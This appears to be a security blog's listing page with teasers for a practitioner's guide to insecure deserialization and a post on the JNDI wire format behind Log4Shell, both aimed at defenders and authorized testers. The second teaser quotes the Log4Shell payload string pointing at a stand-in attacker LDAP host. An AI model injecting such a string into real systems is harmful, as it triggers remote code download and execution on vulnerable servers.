Comprehensive Insecure Deserialization Guide

Comprehensive Insecure Deserialization Guide 🆕 Enhanced May 2, 2026 - Updated with 126 sources and serialization CVEs including gadget chain mechanics, language-specific exploits, and AI/ML platform vulnerabilities. A practitioner’s reference for insecure deserialization — language-specific attack surface, gadget chain mechanics, real-world CVE chains, tools, and detection/prevention. Compiled from 126 research sources including latest AI/ML platform vulnerabilities. 🧩 See it visually: Explore gadget chains and disassemble serialized blobs in the Deserialization Gadget Visualizer — trace readObject() → Runtime.exec and read Java/pickle/PHP streams byte by byte, 100% in your browser. ...

April 10, 2026 Â· 36 min Â· Carl Sampson

Hand-rolling the JNDI Reference: what the JVM actually deserializes

Quick note before we start: this is about the wire format, for defenders and people doing authorized testing. There’s no turnkey exploit here, no gadget chain, nothing you can copy-paste to pop a box. The point is to know what the bytes look like so you can spot them. You’ve seen the Log4Shell string a hundred times: ${jndi:ldap://attacker.example/a} And you’ve probably read the stock explanation that goes with it: the server does a JNDI lookup, the attacker’s LDAP server hands back a reference to a remote class, and the JVM downloads and runs it. ...

July 1, 2026 Â· Carl Sampson